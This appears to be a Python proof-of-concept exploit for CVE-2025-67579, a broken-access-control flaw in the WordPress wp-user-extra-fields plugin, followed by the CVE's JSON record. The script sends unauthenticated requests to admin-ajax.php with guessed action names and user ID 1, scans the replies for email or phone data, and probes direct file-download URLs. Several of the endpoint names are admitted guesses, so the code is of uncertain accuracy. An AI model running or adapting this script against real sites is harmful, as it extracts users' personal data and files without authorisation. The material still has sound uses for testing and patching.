CVE-2025-67579

# CVE-2025-67579 PoC - WordPress wp-user-extra-fields Broken Access Control # Affected: wp-user-extra-fields plugin <= 16.8 # Type: Missing Authorization / Broken Access Control import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Target the plugin's AJAX endpoint or REST API ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_cve_2025_67579(): """ Exploit for Missing Authorization vulnerability in wp-user-extra-fields This PoC demonstrates unauthorized access to user extra fields data """ print("[*] CVE-2025-67579 - wp-user-extra-fields Broken Access Control") print("[*] Target:", TARGET_URL) # Step 1: Identify the vulnerable endpoint # The plugin may expose AJAX actions without proper capability checks vulnerable_actions = [ "get_user_extra_fields", "wpuef_get_user_fields", "wpuef_get_file", "wpuef_download_file" ] # Step 2: Attempt unauthorized access to user extra fields for action in vulnerable_actions: print(f"\n[*] Testing action: {action}") # No authentication required - this is the vulnerability data = { "action": action, "user_id": 1 # Try to access user ID 1 (often admin) } try: response = requests.post(ENDPOINT, data=data, timeout=10) if response.status_code == 200: print(f"[+] Action {action} responded - possible access") print(f"[+] Response preview: {response.text[:200]}") # Check if sensitive data is returned if "email" in response.text.lower() or "phone" in response.text.lower(): print("[!] Sensitive user data exposed!") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") # Step 3: Try direct file access if applicable print("\n[*] Testing direct file access...") file_endpoints = [ f"{TARGET_URL}/wp-content/plugins/wp-user-extra-fields/public/file.php", f"{TARGET_URL}/?wpuef_action=download&file_id=1" ] for endpoint in file_endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Direct file access possible: {endpoint}") except: pass print("\n[*] Exploitation attempt completed") return False if __name__ == "__main__": exploit_cve_2025_67579()

{"cve": {"id": "CVE-2025-67579", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:35.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in vanquish User Extra Fields wp-user-extra-fields allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Extra Fields: from n/a through <= 16.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-user-extra-fields/vulnerability/wordpress-user-extra-fields-plugin-16-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}